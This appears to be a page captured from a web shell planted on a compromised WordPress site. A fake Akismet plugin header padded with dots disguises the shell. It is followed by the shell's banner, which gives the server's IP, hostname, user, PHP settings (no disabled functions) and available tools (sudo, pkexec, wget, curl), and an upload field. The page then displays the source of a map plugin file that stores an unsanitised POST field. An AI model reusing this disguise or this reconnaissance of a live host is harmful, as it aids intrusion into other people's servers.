#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/cwd/wp-content/plugins/wp-google-map-gold/modules/post/ |
Upload File : |
<?php
/**
* Class: WPGMP_Model_Post
*
* @author Flipper Code <hello@flippercode.com>
* @version 5.2.1
* @package Maps
*/
if ( ! class_exists( 'WPGMP_Model_Post' ) ) {
/**
* Create metabox views and related operations.
*
* @package Maps
* @author Flipper Code <hello@flippercode.com>
*/
class WPGMP_Model_Post extends FlipperCode_Model_Base {
/**
* Intialize Shortcode object.
*/
function __construct() {
}
/**
* Admin menu for Settings Operation
*
* @return array Admin menu navigation(s).
*/
function navigation() { return array(); }
function wpgmp_handle_metabox_submission($post_id) {
if ( isset( $_POST['wpgmp_hidden_flag'] ) ) {
$wpgmp_enter_location = $_POST['wpgmp_metabox_location_hidden'];
$wpgmp_enter_city = sanitize_text_field( wp_unslash( $_POST['wpgmp_metabox_location_city'] ) );
$wpgmp_enter_state = sanitize_text_field( wp_unslash( $_POST['wpgmp_metabox_location_state'] ) );
$wpgmp_enter_country = sanitize_text_field( wp_unslash( $_POST['wpgmp_metabox_location_country'] ) );
$wpgmp_metabox_latitude = sanitize_text_field( wp_unslash( $_POST['wpgmp_metabox_latitude'] ) );
$wpgmp_metabox_longitude = sanitize_text_field( wp_unslash( $_POST['wpgmp_metabox_longitude'] ) );
$wpgmp_map_id = isset($_POST['wpgmp_metabox_mapid']) && !empty($_POST['wpgmp_metabox_mapid']) ? serialize( wp_unslash( $_POST['wpgmp_metabox_mapid'] ) ) : '';
$wpgmp_metabox_marker_id = isset($_POST['wpgmp_metabox_marker_id']) && !empty($_POST['wpgmp_metabox_marker_id']) ? serialize( wp_unslash( $_POST['wpgmp_metabox_marker_id'] ) ) : '';
$wpgmp_metabox_location_redirect = sanitize_text_field( wp_unslash( $_POST['wpgmp_metabox_location_redirect'] ) );
$wpgmp_metabox_custom_link = sanitize_text_field( wp_unslash( $_POST['wpgmp_metabox_custom_link'] ) );
$wpgmp_metabox_taxomomies_terms = isset($_POST['wpgmp_metabox_taxomomies_terms']) && !empty($_POST['wpgmp_metabox_taxomomies_terms']) ? serialize( wp_unslash( $_POST['wpgmp_metabox_taxomomies_terms'] ) ) : '';
$wpgmp_extensions_fields = isset($_POST['wpgmp_extensions_fields']) && !empty($_POST['wpgmp_extensions_fields']) ? serialize( wp_unslash( $_POST['wpgmp_extensions_fields'] ) ) : '';
// Update the meta field in the database.
update_post_meta( $post_id, '_wpgmp_location_address', $wpgmp_enter_location );
update_post_meta( $post_id, '_wpgmp_location_city', $wpgmp_enter_city );
update_post_meta( $post_id, '_wpgmp_location_state', $wpgmp_enter_state );
update_post_meta( $post_id, '_wpgmp_location_country', $wpgmp_enter_country );
update_post_meta( $post_id, '_wpgmp_metabox_latitude', $wpgmp_metabox_latitude );
update_post_meta( $post_id, '_wpgmp_metabox_longitude', $wpgmp_metabox_longitude );
update_post_meta( $post_id, '_wpgmp_metabox_location_redirect', $wpgmp_metabox_location_redirect );
update_post_meta( $post_id, '_wpgmp_metabox_custom_link', $wpgmp_metabox_custom_link );
update_post_meta( $post_id, '_wpgmp_map_id', $wpgmp_map_id );
update_post_meta( $post_id, '_wpgmp_metabox_marker_id', $wpgmp_metabox_marker_id );
update_post_meta( $post_id, '_wpgmp_metabox_taxomomies_terms', $wpgmp_metabox_taxomomies_terms );
update_post_meta( $post_id, '_wpgmp_extensions_fields', $wpgmp_extensions_fields );
do_action('wpgmp_save_additional_cpt_data', $post_id);
}
}
}
}